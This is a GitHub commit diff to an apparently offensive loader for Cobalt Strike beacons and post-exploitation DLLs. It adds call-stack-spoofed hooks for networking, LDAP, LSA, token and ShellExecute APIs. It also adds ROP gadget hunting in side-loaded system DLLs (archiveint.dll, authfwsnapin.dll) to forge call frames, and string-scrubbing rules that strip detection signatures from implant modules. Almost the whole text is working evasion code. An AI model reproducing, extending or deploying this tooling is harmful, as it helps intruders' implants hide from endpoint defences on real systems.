feat: Added hooks - Added strreps - update gitignore - fixed code size (#5)

* update gitignore

* Fixed code size issue and added all hooks

* Add hooking for HttpSendRequestA - add multiple modules to do stack spoofing with call instructions before gadget - update cna strreps
This commit is contained in:
S1n1st3r
2026-01-15 18:25:58 -06:00
committed by GitHub
parent 66647429f0
commit ec438f41d5
15 changed files with 958 additions and 51 deletions
+2
View File
@@ -50,3 +50,5 @@ modules.order
Module.symvers
Mkfile.old
dkms.conf
crystalpalace.jar
+4
View File
@@ -141,6 +141,7 @@ set BEACON_RDLL_SIZE {
set BEACON_RDLL_GENERATE_LOCAL
{
print_info ( "LOCAL BUILD" );
local ( '$beacon $arch $gmh $gpa $spec_path $spec $hash_map $final' );
$beacon = $2;
@@ -177,6 +178,7 @@ set BEACON_RDLL_GENERATE_LOCAL
set POSTEX_RDLL_GENERATE
{
print_info ( "POSTEX BUILD" );
local ( '$dll $postex $arch $gmh $gpa $spec_path $spec $hash_map $final' );
$dll = $1;
@@ -929,6 +931,7 @@ set POSTEX_RDLL_GENERATE
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "JPEG datastream contains no image", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "ICLRMetaHost::GetRuntime", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "invokeassembly.x64.dll", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "failed w/hr 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", ".NET runtime [ver", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "] cannot be loaded", "");
@@ -951,6 +954,7 @@ set POSTEX_RDLL_GENERATE
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "bad exception", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "Could not find signature in the", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "powershell.x64.dll", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "Could not fix signature in the", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "function:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "Patch index", "");
+2
View File
@@ -23,6 +23,8 @@ x64:
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
attach "KERNEL32$VirtualFree" "_VirtualFree"
preserve "KERNEL32$LoadLibraryA" "draugr_wrapper"
# mask & link the dll
generate $MASK 128
push $DLL
+19
View File
@@ -37,6 +37,7 @@ x64:
# hook functions in the DLL
addhook "WININET$InternetOpenA" "_InternetOpenA"
addhook "WININET$InternetConnectA" "_InternetConnectA"
addhook "WININET$HttpSendRequestA" "_HttpSendRequestA"
addhook "KERNEL32$CloseHandle" "_CloseHandle"
addhook "KERNEL32$CreateFileMappingA" "_CreateFileMappingA"
addhook "KERNEL32$CreateProcessA" "_CreateProcessA"
@@ -64,6 +65,24 @@ x64:
addhook "KERNEL32$WriteProcessMemory" "_WriteProcessMemory"
addhook "OLE32$CoCreateInstance" "_CoCreateInstance"
# Custom hooks
addhook "WLDAP32$ldap_bind_s" "_ldap_bind_s"
addhook "WLDAP32$ldap_init" "_ldap_init"
addhook "WLDAP32$ldap_search_init_pageA" "_ldap_search_init_pageA"
addhook "WS2_32$bind" "_bind"
addhook "WS2_32$connect" "_connect"
addhook "WS2_32$getaddrinfo" "_getaddrinfo"
addhook "WS2_32$send" "_send"
addhook "WS2_32$socket" "_socket"
addhook "SECUR32$LsaRegisterLogonProcess" "_LsaRegisterLogonProcess"
addhook "SECUR32$LsaConnectUntrusted" "_LsaConnectUntrusted"
addhook "SHELL32$ShellExecuteA" "_ShellExecuteA"
addhook "ADVAPI32$GetTokenInformation" "_GetTokenInformation"
addhook "ADVAPI32$OpenProcessToken" "_OpenProcessToken"
addhook "KERNEL32$GetCurrentThread" "_GetCurrentThread"
addhook "KERNEL32$GetCurrentProcess" "_GetCurrentProcess"
addhook "KERNEL32$WaitForSingleObject" "_WaitForSingleObject"
# hook functions in pico
attach "KERNEL32$VirtualProtect" "_VirtualProtect" # this is needed to hook VirtualProtect in mask.c
+263
View File
@@ -1,12 +1,21 @@
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <winldap.h>
#include <wininet.h>
#include <iphlpapi.h>
#include <combaseapi.h>
#define SECURITY_WIN32
#include <security.h>
#include <ntsecapi.h>
#include "tcg.h"
#include "memory.h"
#include "spoof.h"
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetConnectA ( HINTERNET, LPCSTR, INTERNET_PORT, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR );
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetOpenA ( LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD );
DECLSPEC_IMPORT HINTERNET WINAPI WININET$HttpSendRequestA ( HINTERNET, LPCSTR, DWORD, LPVOID, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle ( HANDLE );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA ( HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA ( LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION );
@@ -33,6 +42,27 @@ DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory ( HANDLE, LPVOID, L
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance ( REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID * );
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
// Custom added hooks
DECLSPEC_IMPORT int WSAAPI WS2_32$bind ( SOCKET, const struct sockaddr *, int );
DECLSPEC_IMPORT int WSAAPI WS2_32$connect ( SOCKET, const struct sockaddr *, int );
DECLSPEC_IMPORT int WSAAPI WS2_32$getaddrinfo ( const char *, const char *, const struct addrinfo *, struct addrinfo ** );
DECLSPEC_IMPORT int WSAAPI WS2_32$send ( SOCKET, const char *, int, int );
DECLSPEC_IMPORT SOCKET WSAAPI WS2_32$socket ( int, int, int );
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$OpenProcessToken ( HANDLE, DWORD, PHANDLE );
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetTokenInformation ( HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD );
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$WaitForSingleObject ( HANDLE, DWORD );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentThread ( VOID );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess ( VOID );
DECLSPEC_IMPORT HINSTANCE WINAPI SHELL32$ShellExecuteA ( HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT );
DECLSPEC_IMPORT PLDAPSearch LDAPAPI WLDAP32$ldap_search_init_pageA ( PLDAP, const PSTR, ULONG, const PSTR, PZPSTR, ULONG, PLDAPControlA *, PLDAPControlA *, ULONG, ULONG, PLDAPSortKeyA * );
DECLSPEC_IMPORT ULONG LDAPAPI WLDAP32$ldap_bind_s ( LDAP *, const PSTR, const PCHAR, ULONG );
DECLSPEC_IMPORT LDAP *LDAPAPI WLDAP32$ldap_init ( PSTR, ULONG );
// Have not been implemented as functions yet and have not yet #include the right header for types
DECLSPEC_IMPORT NTSTATUS NTAPI SECUR32$LsaRegisterLogonProcess ( PLSA_STRING, PHANDLE, PLSA_OPERATIONAL_MODE );
DECLSPEC_IMPORT NTSTATUS NTAPI SECUR32$LsaConnectUntrusted ( PHANDLE );
HINTERNET WINAPI _InternetOpenA ( LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags )
{
FUNCTION_CALL call = { 0 };
@@ -66,6 +96,21 @@ HINTERNET WINAPI _InternetConnectA ( HINTERNET hInternet, LPCSTR lpszServerName,
return ( HINTERNET ) spoof_call ( &call );
}
BOOL WINAPI _HttpSendRequestA ( HINTERNET hRequest, LPCSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( WININET$HttpSendRequestA );
call.argc = 5;
call.args [ 0 ] = spoof_arg ( hRequest );
call.args [ 1 ] = spoof_arg ( lpszHeaders );
call.args [ 2 ] = spoof_arg ( dwHeadersLength );
call.args [ 3 ] = spoof_arg ( lpOptional );
call.args [ 4 ] = spoof_arg ( dwOptionalLength );
return ( BOOL ) spoof_call ( &call );
}
BOOL WINAPI _CloseHandle ( HANDLE hObject )
{
FUNCTION_CALL call = { 0 };
@@ -412,3 +457,221 @@ BOOL WINAPI _WriteProcessMemory ( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID
return ( BOOL ) spoof_call ( &call );
}
ULONG LDAPAPI _ldap_bind_s ( LDAP * ld, const PSTR dn, const PCHAR cred, ULONG method )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( WLDAP32$ldap_bind_s );
call.argc = 4;
call.args [ 0 ] = spoof_arg ( ld );
call.args [ 1 ] = spoof_arg ( dn );
call.args [ 2 ] = spoof_arg ( cred );
call.args [ 3 ] = spoof_arg ( method );
return ( ULONG ) spoof_call ( &call );
}
LDAP * LDAPAPI _ldap_init ( PSTR HostName, ULONG PortNumber )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) WLDAP32$ldap_init;
call.argc = 2;
call.args [ 0 ] = spoof_arg ( HostName );
call.args [ 1 ] = spoof_arg ( PortNumber );
return ( LDAP * ) spoof_call ( &call );
}
// WS2_32 and WSOCK32 hooks
int WSAAPI _bind ( SOCKET s, const struct sockaddr * name, int namelen )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( WS2_32$bind );
call.argc = 3;
call.args [ 0 ] = spoof_arg ( s );
call.args [ 1 ] = spoof_arg ( name );
call.args [ 2 ] = spoof_arg ( namelen );
return ( int ) spoof_call ( &call );
}
int WSAAPI _send ( SOCKET s, const char * buf, int len, int flags )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( WS2_32$send );
call.argc = 4;
call.args [ 0 ] = spoof_arg ( s );
call.args [ 1 ] = spoof_arg ( buf );
call.args [ 2 ] = spoof_arg ( len );
call.args [ 3 ] = spoof_arg ( flags );
return ( int ) spoof_call ( &call );
}
SOCKET WSAAPI _socket ( int af, int type, int protocol )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( WS2_32$socket );
call.argc = 3;
call.args [ 0 ] = spoof_arg ( af );
call.args [ 1 ] = spoof_arg ( type );
call.args [ 2 ] = spoof_arg ( protocol );
return ( SOCKET ) spoof_call ( &call );
}
PLDAPSearch LDAPAPI _ldap_search_init_pageA ( PLDAP ExternalHandle, const PSTR DistinguishedName, ULONG ScopeOfSearch, const PSTR SearchFilter, PZPSTR AttributeList, ULONG AttributesOnly, PLDAPControlA * ServerControls, PLDAPControlA * ClientControls, ULONG PageTimeLimit, ULONG TotalSizeLimit, PLDAPSortKeyA * SortKeys )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) WLDAP32$ldap_search_init_pageA;
call.argc = 11;
call.args [ 0 ] = spoof_arg ( ExternalHandle );
call.args [ 1 ] = spoof_arg ( DistinguishedName );
call.args [ 2 ] = spoof_arg ( ScopeOfSearch );
call.args [ 3 ] = spoof_arg ( SearchFilter );
call.args [ 4 ] = spoof_arg ( AttributeList );
call.args [ 5 ] = spoof_arg ( AttributesOnly );
call.args [ 6 ] = spoof_arg ( ServerControls );
call.args [ 7 ] = spoof_arg ( ClientControls );
call.args [ 8 ] = spoof_arg ( PageTimeLimit );
call.args [ 9 ] = spoof_arg ( TotalSizeLimit );
call.args [ 10 ] = spoof_arg ( SortKeys );
return ( PLDAPSearch ) spoof_call ( &call );
}
BOOL WINAPI _GetTokenInformation ( HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ADVAPI32$GetTokenInformation;
call.argc = 5;
call.args [ 0 ] = spoof_arg ( TokenHandle );
call.args [ 1 ] = spoof_arg ( TokenInformationClass );
call.args [ 2 ] = spoof_arg ( TokenInformation );
call.args [ 3 ] = spoof_arg ( TokenInformationLength );
call.args [ 4 ] = spoof_arg ( ReturnLength );
return ( BOOL ) spoof_call ( &call );
}
BOOL WINAPI _OpenProcessToken ( HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ADVAPI32$OpenProcessToken;
call.argc = 3;
call.args [ 0 ] = spoof_arg ( ProcessHandle );
call.args [ 1 ] = spoof_arg ( DesiredAccess );
call.args [ 2 ] = spoof_arg ( TokenHandle );
return ( BOOL ) spoof_call ( &call );
}
HANDLE WINAPI _GetCurrentThread ( VOID )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) KERNEL32$GetCurrentThread;
call.argc = 0;
return ( HANDLE ) spoof_call ( &call );
}
HANDLE WINAPI _GetCurrentProcess ( VOID )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) KERNEL32$GetCurrentProcess;
call.argc = 0;
return ( HANDLE ) spoof_call ( &call );
}
DWORD WINAPI _WaitForSingleObject ( HANDLE hHandle, DWORD dwMilliseconds )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) KERNEL32$WaitForSingleObject;
call.argc = 2;
call.args [ 0 ] = spoof_arg ( hHandle );
call.args [ 1 ] = spoof_arg ( dwMilliseconds );
return ( DWORD ) spoof_call ( &call );
}
// SHELL32 hooks
HINSTANCE WINAPI _ShellExecuteA ( HWND hwnd, LPCSTR lpOperation, LPCSTR lpFile, LPCSTR lpParameters, LPCSTR lpDirectory, INT nShowCmd )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) SHELL32$ShellExecuteA;
call.argc = 6;
call.args [ 0 ] = spoof_arg ( hwnd );
call.args [ 1 ] = spoof_arg ( lpOperation );
call.args [ 2 ] = spoof_arg ( lpFile );
call.args [ 3 ] = spoof_arg ( lpParameters );
call.args [ 4 ] = spoof_arg ( lpDirectory );
call.args [ 5 ] = spoof_arg ( nShowCmd );
return ( HINSTANCE ) spoof_call ( &call );
}
// SECUR32 hooks
NTSTATUS NTAPI _LsaRegisterLogonProcess ( PLSA_STRING LogonProcessName, PHANDLE LsaHandle, PLSA_OPERATIONAL_MODE SecurityMode )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) SECUR32$LsaRegisterLogonProcess;
call.argc = 3;
call.args [ 0 ] = spoof_arg ( LogonProcessName );
call.args [ 1 ] = spoof_arg ( LsaHandle );
call.args [ 2 ] = spoof_arg ( SecurityMode );
return ( NTSTATUS ) spoof_call ( &call );
}
NTSTATUS NTAPI _LsaConnectUntrusted ( PHANDLE LsaHandle )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) SECUR32$LsaConnectUntrusted;
call.argc = 1;
call.args [ 0 ] = spoof_arg ( LsaHandle );
return ( NTSTATUS ) spoof_call ( &call );
}
// WS2_32 hooks
int WSAAPI _connect ( SOCKET s, const struct sockaddr * name, int namelen )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( WS2_32$connect );
call.argc = 3;
call.args [ 0 ] = spoof_arg ( s );
call.args [ 1 ] = spoof_arg ( name );
call.args [ 2 ] = spoof_arg ( namelen );
return ( int ) spoof_call ( &call );
}
int WSAAPI _getaddrinfo ( const char * nodename, const char * servname, const struct addrinfo * hints, struct addrinfo ** res )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( WS2_32$getaddrinfo );
call.argc = 4;
call.args [ 0 ] = spoof_arg ( nodename );
call.args [ 1 ] = spoof_arg ( servname );
call.args [ 2 ] = spoof_arg ( hints );
call.args [ 3 ] = spoof_arg ( res );
return ( int ) spoof_call ( &call );
}
+1 -1
View File
@@ -2,7 +2,7 @@
typedef struct {
char data [ 4096 ];
char code [ 16384 ];
char code [ 24576 ];
} PICO;
typedef struct {
+119 -6
View File
@@ -95,7 +95,7 @@ extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOI
#define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] )
void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
void init_frame_info ( SYNTHETIC_STACK_FRAME * frame, PVOID gadget )
{
PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" );
PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" );
@@ -108,7 +108,7 @@ void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" );
frame->Frame2.Offset = 0x2c;
frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" );
frame->Gadget = gadget;
}
BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size )
@@ -286,7 +286,63 @@ PVOID find_gadget( PVOID module )
found_gadgets = TRUE;
}
seed = 0x1337;
if ( counter == 0 ) {
return NULL;
}
seed = 0x7331;
random = NTDLL$RtlRandomEx ( &seed );
random %= counter;
return gadget_list [ random ];
}
PVOID find_gadget_call( PVOID module )
{
BOOL found_gadgets = FALSE;
DWORD text_section_size = 0;
DWORD text_section_va = 0;
DWORD counter = 0;
ULONG seed = 0;
ULONG random = 0;
PVOID module_text_section = NULL;
PVOID gadget_list [ 15 ] = { 0 };
if ( ! found_gadgets )
{
if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) {
return NULL;
}
module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va );
for ( int i = 0; i < ( text_section_size - 2 ); i++ )
{
/* x64 opcodes are ff 23 */
if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 )
{
/* check for a call before the gadget */
if ( ( ( PBYTE ) module_text_section ) [ i - 5 ] == 0xE8 )
{
gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i );
counter++;
if ( counter == 15 ) {
break;
}
}
}
}
found_gadgets = TRUE;
}
if ( counter == 0 ) {
return NULL;
}
seed = 0x7331;
random = NTDLL$RtlRandomEx ( &seed );
random %= counter;
@@ -305,7 +361,58 @@ ULONG_PTR draugr_wrapper ( PVOID function, DWORD ssn, PVOID arg1, PVOID arg2, PV
}
SYNTHETIC_STACK_FRAME frame;
init_frame_info ( &frame );
PVOID gadget_module = NULL;
PVOID test_gadget = NULL;
BOOL use_kernelbase_gadget = FALSE;
/* Try gadget modules in order until we find one with valid gadgets */
PVOID gadget1 = KERNEL32$GetModuleHandleA ( "archiveint.dll" );
if ( ! gadget1 ) {
gadget1 = LoadLibraryA ( "archiveint.dll" );
}
if ( gadget1 )
{
test_gadget = find_gadget_call ( gadget1 );
if ( test_gadget ) {
gadget_module = gadget1;
}
}
if ( ! gadget_module )
{
PVOID gadget2 = KERNEL32$GetModuleHandleA ( "authfwsnapin.dll" );
if ( ! gadget2 ) {
gadget2 = LoadLibraryA ( "authfwsnapin.dll" );
}
if ( gadget2 )
{
test_gadget = find_gadget_call ( gadget2 );
if ( test_gadget ) {
gadget_module = gadget2;
}
}
}
if ( ! gadget_module )
{
PVOID gadget3 = KERNEL32$GetModuleHandleA ( "kernelbase.dll" );
if ( gadget3 )
{
test_gadget = find_gadget ( gadget3 );
if ( test_gadget ) {
gadget_module = gadget3;
use_kernelbase_gadget = TRUE;
}
}
}
if ( ! gadget_module ) {
return ( ULONG_PTR ) ( NULL );
}
init_frame_info ( &frame, gadget_module );
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset );
draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address );
@@ -325,9 +432,15 @@ ULONG_PTR draugr_wrapper ( PVOID function, DWORD ssn, PVOID arg1, PVOID arg2, PV
do
{
draugr_params.Trampoline = find_gadget ( frame.Gadget );
/* Use find_gadget for kernelbase.dll, find_gadget_call for others */
if ( use_kernelbase_gadget ) {
draugr_params.Trampoline = find_gadget ( frame.Gadget );
} else {
draugr_params.Trampoline = find_gadget_call ( frame.Gadget );
}
draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline );
attempts++;
if ( attempts > 15 ) {
+2
View File
@@ -27,6 +27,8 @@ x64:
attach "KERNEL32$VirtualFree" "_VirtualFree"
preserve "KERNEL32$LoadLibraryA" "init_frame_info"
preserve "KERNEL32$LoadLibraryA" "draugr_wrapper"
# mask & link the dll
generate $MASK 128
push $DLL
+20
View File
@@ -37,6 +37,7 @@ x64:
# hook functions in the DLL
addhook "WININET$InternetOpenA" "_InternetOpenA"
addhook "WININET$InternetConnectA" "_InternetConnectA"
addhook "WININET$HttpSendRequestA" "_HttpSendRequestA"
addhook "KERNEL32$CloseHandle" "_CloseHandle"
addhook "KERNEL32$CreateFileMappingA" "_CreateFileMappingA"
addhook "KERNEL32$CreateProcessA" "_CreateProcessA"
@@ -63,6 +64,25 @@ x64:
addhook "KERNEL32$VirtualQuery" "_VirtualQuery"
addhook "KERNEL32$WriteProcessMemory" "_WriteProcessMemory"
addhook "OLE32$CoCreateInstance" "_CoCreateInstance"
# Custom hooks
addhook "WLDAP32$ldap_bind_s" "_ldap_bind_s"
addhook "WLDAP32$ldap_init" "_ldap_init"
addhook "WLDAP32$ldap_search_init_pageA" "_ldap_search_init_pageA"
addhook "WS2_32$bind" "_bind"
addhook "WS2_32$connect" "_connect"
addhook "WS2_32$getaddrinfo" "_getaddrinfo"
addhook "WS2_32$send" "_send"
addhook "WS2_32$socket" "_socket"
addhook "SECUR32$LsaRegisterLogonProcess" "_LsaRegisterLogonProcess"
addhook "SECUR32$LsaConnectUntrusted" "_LsaConnectUntrusted"
addhook "SHELL32$ShellExecuteA" "_ShellExecuteA"
addhook "ADVAPI32$GetTokenInformation" "_GetTokenInformation"
addhook "ADVAPI32$OpenProcessToken" "_OpenProcessToken"
addhook "KERNEL32$GetCurrentThread" "_GetCurrentThread"
addhook "KERNEL32$GetCurrentProcess" "_GetCurrentProcess"
addhook "KERNEL32$WaitForSingleObject" "_WaitForSingleObject"
# hook functions in pico
attach "KERNEL32$VirtualProtect" "_VirtualProtect" # this is needed to hook VirtualProtect in mask.c
+287 -30
View File
@@ -1,43 +1,67 @@
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <winldap.h>
#include <wininet.h>
#include <iphlpapi.h>
#include <combaseapi.h>
#define SECURITY_WIN32
#include <security.h>
#include <ntsecapi.h>
#include "tcg.h"
#include "memory.h"
#include "spoof.h"
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetConnectA ( HINTERNET, LPCSTR, INTERNET_PORT, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR );
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetOpenA ( LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle ( HANDLE );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA ( HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA ( LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread ( HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread ( LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle ( HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext ( HANDLE, LPCONTEXT );
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile ( HANDLE, DWORD, DWORD, DWORD, SIZE_T );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess ( DWORD, BOOL, DWORD );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread ( DWORD, BOOL, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory ( HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T * );
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread ( HANDLE );
DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext ( HANDLE, const CONTEXT * );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile ( LPCVOID );
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx ( HANDLE, LPVOID, SIZE_T, DWORD, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx ( HANDLE, LPVOID, SIZE_T, DWORD, PDWORD );
DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery ( LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory ( HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T * );
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetConnectA ( HINTERNET, LPCSTR, INTERNET_PORT, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR );
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetOpenA ( LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD );
DECLSPEC_IMPORT HINTERNET WINAPI WININET$HttpSendRequestA ( HINTERNET, LPCSTR, DWORD, LPVOID, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle ( HANDLE );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA ( HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA ( LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread ( HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread ( LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle ( HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext ( HANDLE, LPCONTEXT );
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryA ( LPCSTR );
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile ( HANDLE, DWORD, DWORD, DWORD, SIZE_T );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess ( DWORD, BOOL, DWORD );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread ( DWORD, BOOL, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory ( HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T * );
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread ( HANDLE );
DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext ( HANDLE, const CONTEXT * );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile ( LPCVOID );
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx ( HANDLE, LPVOID, SIZE_T, DWORD, DWORD );
